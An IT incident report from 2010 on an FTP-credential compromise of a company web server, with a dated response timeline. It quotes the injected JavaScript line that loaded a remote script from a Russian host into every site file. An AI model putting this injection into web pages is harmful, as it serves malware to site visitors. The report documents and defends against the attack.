**External Web Server Incident Report**2010-08-16  
Michael Spence

**Summary:**

On 28th July 2010, the external web server, which hosts all Phase New Media websites, was compromised. Erroneous links to a Russian site were added to all javascript files. This caused the Virus software located on the web server, to deny access to these files, which in turn caused users of the websites to be denied access to the websites. Furthermore, the virus software did not recognize these problems for a number of days, which caused some users to actually download a Trojan virus. Consequently, some of our sites have been placed in an un-trusted state by some internet providers.

**Details of Events:**

**2010-07-28 - First Date of Attack**

After examining the FTP logs for the External Web Server, it was discovered that the attacker built a comprehensive list of the structure and contents of the entire PNM website system. The attacker gained access using the PNM login details. It would appear that the attacker did NOT use brute force to discover these details. After confirming his access capabilities and compiling the information needed to perform his attack, the attacker downloaded one by one, the javascript files and replaced them with ones with the added extra code.

Below is the snippet of code added:

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Java.js"></scr'+'ipt>');

**2010-07-30 - Sophos discovers Virus**

After approximately two days of faulty scripts being on the server, Sophos finally discovered these files and denied the web service from accessing them. This caused users to be prompted for username and password to gain access to the files. This request could not succeed, even with seemingly correct details. Access to the files was denied.

**2010-08-02 - IS Department Becomes Aware**

After arriving at work at 8:30am, I (Michael Spence) was made aware of the inability to use certain websites, which were contained on the external web server. I examined this server and found a number of files which were blocked by Sophos. At this stage I deemed the priority to be, to restore access and working order to the websites. I went about compiling a list of infected files, which was sent to PNM. PNM used this list to resupply the websites with correct and fault free javascript files. We (Shane and I) suggested that PNM create a duplicate system for each website, rather than simply maintain the current systems. This was not done.

**2010-08-02 - Second Date of Attack**

Not too long after the files were replaced on the server by PNM. The attacker used the same process as employed earlier, although it is apparent that the attacker did not re-discover the structure of the websites; assumedly, he believed his previous knowledge would suffice.

**2010-08-03 - PNM login details changed**

After receiving an email from PNM requesting their login details to be changed, I created a complex password for the account and changed these details. This information was given to PNM, who tested and confirmed its working order.

**2010-08-03 - Second Attack Discovered**

I was given more user reports that the site was not working as a result of the previous nights attack. Upon logging onto the server, I noted that Sophos had not discovered the faulty files, but as I attempted to access them it picked up the fault. I informed PNM, who again uploaded replacement files.

**2010-08-04 - Michael in Darwin**

**2010-08-05 - Full Scan of System done**

At around 10am, I instigated a full Virus scan of the PNM website system. This process took over 1.5hrs to get to 98% and appeared that the remaining 2% could take another 2hrs. At the 1.5hr mark, Sophos had discovered another 13 files, which had not previously been identified. This list of files was sent to PNM.

**2010-08-05 - Multiple Access Attempts**

After examining the logs for the FTP service, it was discovered that there were multiple attempts to gain access to the FTP site from one IP. These attempts were failing due to incorrect password. I conferred with Shane, and we came to the decision to ban this IP from connecting. The IP address was: 78.244.168.112

**2010-08-06 - Resend list of Latest Files**

PNM requested that I resend the list of files I had sent the day before. This was done, and prompted the replacement of these files.

**2010-08-12 - Informed of Un-trusted Status**

Denis Stark informed PNM that an associate of APEagers was unable to access the www.apeagers.com.au website, due to the website being untrusted as a result of having trojans associated with it. This information was passed to myself. This initiated a complete examination of FTP logs and determination of how the attacker gained access and went about damaging the websites. Without this information, we believed we would not be able to make imporovements to stop this happening again, which ultimately could stop us from becoming re-trusted.

**2010-08-13 - All IPs Denied Access**

In the setup of the FTP service, it was discovered that as a general rule all IP addresses were able to use the service. This enabled the attacker to gain access to the FTP system by supplying any IP address he desired. This was reversed, and we denied all IP addresses from gaining access, except for those supplied by PNM and APEagers.